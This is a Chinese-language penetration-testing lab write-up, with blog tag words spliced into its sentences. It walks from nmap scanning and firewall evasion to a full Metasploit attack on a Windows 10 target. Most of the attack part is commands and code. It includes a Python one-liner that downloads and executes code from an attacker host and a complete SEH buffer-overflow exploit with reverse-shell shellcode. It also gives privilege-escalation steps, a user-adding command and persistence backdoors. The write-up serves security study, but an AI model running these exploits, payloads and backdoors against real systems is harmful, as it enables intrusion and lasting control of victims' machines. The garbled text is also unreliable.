目录python
经过ping 命令发送ICMP报文的方法检测WIN10主机是否在线
git
能收到回复包,证实主机在线,并能相互通讯github
用来探测活跃主机web
这个命令会发送arp请求包探测目标ip是否在线,若是有arp回复包,则说明在线。此命令能够探测目标主机是否在线,若是在线,还能够获得其MAC地址。可是不会探测其开放的端口号。
sql
TCP SYN 扫描(-sS)
这是Nmap默认的扫描方式,一般被称做半开放扫描。该方式发送SYN到目标端口,若是收到SYN/ACK回复,那么能够判断端口是开放的;若是收到RST包,说明该端口是关闭的。若是没有收到回复,那么能够判断该端口被屏蔽了。由于该方式仅发送SYN包对目标主机的特定端口,但不创建完整的TCP链接,因此相对比较隐蔽,并且效率比较高,适用范围广。shell
结果显示为filtered,nmap不可以决定端口的开放状态,这主要是因为网络或者主机安装了一些防火墙所致使的。当nmap收到icmp报文主机不可达报文或者目标主机无应答,经常会将目标主机的状态设置为filtered。
windows
把防火墙关闭试一下,能够看见主机开启的端口有135/139/443/445/902/912
安全
nmap -sV 192.168.43.38
扫描物理机,-sV是参数,命令nmap对目标进行端口对应相关应用程序进行扫描这种类型的扫描是很是隐蔽且没法察觉。目标由多个假冒或伪造IP地址进行扫描。这样防火墙就会认为攻击或扫描是经过多个资源或IP地址进行,因而就绕过了防火墙。
这实际上在目标看来是由多个系统同时扫描,这使得防火墙更难追查扫描的来源。服务器
nmap –D decoy1,decoy2,decoy3 target
来尝试欺骗防火墙附加随机数据长度,咱们也能够绕过防火墙。许多防火墙经过检查数据包的大小来识别潜伏中的端口扫描。这是由于许多扫描器会发送具备特定大小的数据包。为了躲避那种检测,咱们可使用命令–data-length增长额外的数据,以便与默认大小不一样。在下图中,咱们经过加入25多个字节改变数据包大小。网络
nmap --data-length 25 192.168.43.38
命令进行随机数据长度尝试选项–randomize-host用于随机 顺序扫描指定目标。–randomize-host有助于防止因连续 扫描多个目标而防火墙和入侵检测系统检测到。
nmap --randomize-hosts 192.168.43.38
每台机器都有本身独特的mac地址。所以这也是绕过防火墙的另外一种方法,由于某些防火墙是基于MAC地址启用规则的。为了得到扫描结果,须要先了解哪些MAC地址可使用。这能够经过手动或先进的模糊测试完成。
特别是–spoof-MAC选项可以从一个特定的供应商选择一个MAC地址,选择一个随机的MAC地址,或者设定您所选择的特定MAC地址。 MAC地址欺骗的另外一个优势是,让扫描隐蔽,实际MAC地址就不会出如今防火墙的日志文件。
nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target
命令git clone https://github.com/bhdresh/CVE-2017-0199.git
cd CVE-2017-0199 python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc
msf> use multi/handler msf exploit(handler )> set payload windows/meterpreter/reverse_tcp msf exploit(handler )> set lhost 192.168.43.14 msf exploit(handler )> set lport 5230 msf exploit(handler )> exploit
search 具体EasyFileSharing模块
use exploit/windows/http/easyfilesharing_post show options set lhost 192.168.43.14 set lport 5230 set rhosts 192.168.43.38 set rport 80 exploit
search web_delivery
use exploit/multi/script/web_delivery show options set lhost 192.168.43.14 set lport 5230 exploit
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
靶机:Win10
利用msf生成反向链接的shellcode,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6 buffer = "A" * 4116 NSEH = "\xeb\x06\x90\x90" SEH = "\x84\x20\xe4\x66" nops = "\x90" * 5 buf = "" buf = "" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81" buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0" buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8" buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00" buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68" buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"; pad = "B" * (316 - len(nops) - len(buf) ) payload = buffer + NSEH + SEH + nops + buf +pad try: f=open("TestFMCR.mp3","w") print "[+] Creating %s bytes mp3 File..." %len(payload) f.write(payload) f.close() print "[+] mp3 File created successfully!" except: print "File cannot be created!"
关键代码:填充+nseh+seh+nop+shellcode
nseh : next seh 指示下一个seh结构的位置,在这里使用"\xeb\x06\x90\x90"填充是一个通用的填充方法,这四个字节反汇编的结果是 jmp 6 nop nop这样三条指令,缘由是jmp 6个字节恰好绕过两个nop指令和一个4字节的seh处理程序的地址,落入nop指令区,而后滑行进入shellcode
2.运行脚本,生成恶意mp3文件,python FmcrExploit.py
3.移动恶意文件到靶机windows10上
4.打开msf并设置监听
在主机上打开Free MP3 CD Ripper软件
回连成功!
getsystem
进行提权,显示没有权限use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set lport 5230 set session 3 exploit
powershell.exe -nop -exec bypass Import-Module .\powerup.psm1
Get-Command -Module powerup
C:\Windows\system32>net user powerup 1 /add
PS C:\> Invoke-AllChecks
查看bypassuac的模块
msf > use exploit/windows/local/bypassuac msf exploit(bypassuac) > set session 1 msf exploit(bypassuac) > exploit
(1)run metsvc
(2)命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
(3) 链接后门
使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。
使用run persistence -h查看参数。 -A:安装后门后,自动启动exploit/multi/handler模块链接后门 -L:自启动脚本的路径,默认为%TEMP% -P:须要使用的payload,默认为windows/meterpreter/reverse_tcp -S:做为一个服务在系统启动时运行(须要SYSTEM权限) -T:要使用的备用可执行模板 -U:用户登录时运行 -X:系统启动时运行 -i:后门每隔多少秒尝试链接服务端 -p:服务端监听的端口 -r:服务端ip
run persistence -X -i 1 -p 5230 -r 192.168.43.14
查看其修改的键值
下次重启电脑时,能够保持会话